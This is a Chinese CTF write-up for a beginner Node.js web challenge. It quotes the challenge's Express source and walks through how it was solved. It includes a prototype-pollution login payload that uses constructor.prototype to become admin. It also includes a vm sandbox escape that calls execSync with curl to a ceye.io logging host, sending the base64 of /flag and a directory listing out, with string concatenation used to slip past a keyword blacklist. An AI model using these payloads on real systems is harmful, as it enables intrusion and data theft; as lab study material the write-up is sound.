nodejs这块一直没有系统且认真的学习过,偶然间看到了文大师傅的一篇关于nodejs的博客,痛定思痛,决定从新生赛下手,恶补一下nodejs
题目附件内容如下
const crypto = require('crypto')
const vm = require('vm');
const express = require('express')
const session = require('express-session')
const bodyParser = require('body-parser')
var app = express()
app.use(bodyParser.json())
app.use(session({
secret: crypto.randomBytes(64).toString('hex'),
resave: false,
saveUninitialized: true
}))
var users = {}
var admins = {}
function merge(target, source) {
for (let key in source) {
if (key === '__proto__') {
continue
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}
function clone(source) {
return merge({}, source)
}
function waf(code) {
let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
for (let v of blacklist) {
if (code.includes(v)) {
throw new Error(v + ' is banned')
}
}
}
function requireLogin(req, res, next) {
if (!req.session.user) {
res.redirect('/login')
} else {
next()
}
}
app.use(function(req, res, next) {
for (let key in Object.prototype) {
delete Object.prototype[key]
}
next()
})
app.get('/', requireLogin, function(req, res) {
res.sendFile(__dirname + '/public/index.html')
})
app.get('/login', function(req, res) {
res.sendFile(__dirname + '/public/login.html')
})
app.get('/register', function(req, res) {
res.sendFile(__dirname + '/public/register.html')
})
app.post('/login', function(req, res) {
let { username, password } = clone(req.body)
if (username in users && password === users[username]) {
req.session.user = username
if (username in admins) {
req.session.role = 'admin'
} else {
req.session.role = 'guest'
}
res.send({
'message': 'login success'
})
} else {
res.send({
'message': 'login failed'
})
}
})
app.post('/register', function(req, res) {
let { username, password } = clone(req.body)
if (username in users) {
res.send({
'message': 'register failed'
})
} else {
users[username] = password
res.send({
'message': 'register success'
})
}
})
app.get('/profile', requireLogin, function(req, res) {
res.send({
'user': req.session.user,
'role': req.session.role
})
})
app.post('/sandbox', requireLogin, function(req, res) {
if (req.session.role === 'admin') {
let code = req.body.code
let sandbox = Object.create(null)
let context = vm.createContext(sandbox)
try {
waf(code)
let result = vm.runInContext(code, context)
res.send({
'result': result
})
} catch (e) {
res.send({
'result': e.message
})
}
} else {
res.send({
'result': 'Your role is not admin, so you can not run any code'
})
}
})
app.get('/logout', requireLogin, function(req, res) {
req.session.destroy()
res.redirect('/login')
})
app.listen(3000, function() {
console.log('server start listening on :3000')
})
分析源码看到标志性原型链污染函数clone和merge,但merge中对__proto__进行了匹配,认真分析知道是把__proto__过滤了。
随便注册个账号登录进去看看
发现不是admin,并没用运行代码的权限,所以首当其冲的就是获取admin权限,分析源代码
可以得知权限是在这段代码获取的,然后就到了新手走弯路环节,我萌生了两个想法
1.污染role为admin
2.污染admins对象让其拥有我们的账号
接下来开始在本地测试方法1,发现可以污染成功,但是在进入if判断之后依然会被改为guest权限,所以寄。
接下来就是污染admins对象,按我的理解,所有对象都会有一个obj对象,就是所有对象的父类,如果子类中没有某属性,就会到父类中寻找,如果没有就返回undefined,所以接下来就是污染admins父类让其拥有我们的用户名属性,进而通过if判断,获取admin权限
审计代码可以发现,在login路由中调用了clone函数,即原型链污染点,所以尝试在此污染,__proto__使用constructor.prototype进行绕过
{"username":"444","password":"333","constructor":{"prototype":{"444":"333"}}}
输入账号密码,点击登录,在bp修改json为我们的poc然后方包,成功登陆后发现获取到了admin权限
然后继续审计代码的其他路由
1./profile显示用户名和权限,没啥用
2./sandbox看到了经典的vm,分析一下大概是输入一个code,经过waf后执行,然后细看下waf
function waf(code) {
let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
for (let v of blacklist) {
if (code.includes(v)) {
throw new Error(v + ' is banned')
}
}
}
过滤了一堆黑名单,选择拼接绕过,然后祭出我不知道做哪个题攒的payload
let res = import('./app.js'); res.toString.constructor(\"return this\") ().process.mainModule.require(\"child_process\").execSync(\"curl http://y91yp4.ceye.io/`cat /flag | base64`\").toString();
然后拼接一下绕过黑名单
let res = import('./app.js'); res.toString['cons'+'tructor']("return this") ()['pro'+'cess']['main'+'Module']['req'+'uire']("child_pro"+"cess")['exe'+'cSync']("curl http://y91yp4.ceye.io/`ls / | base64`").toString();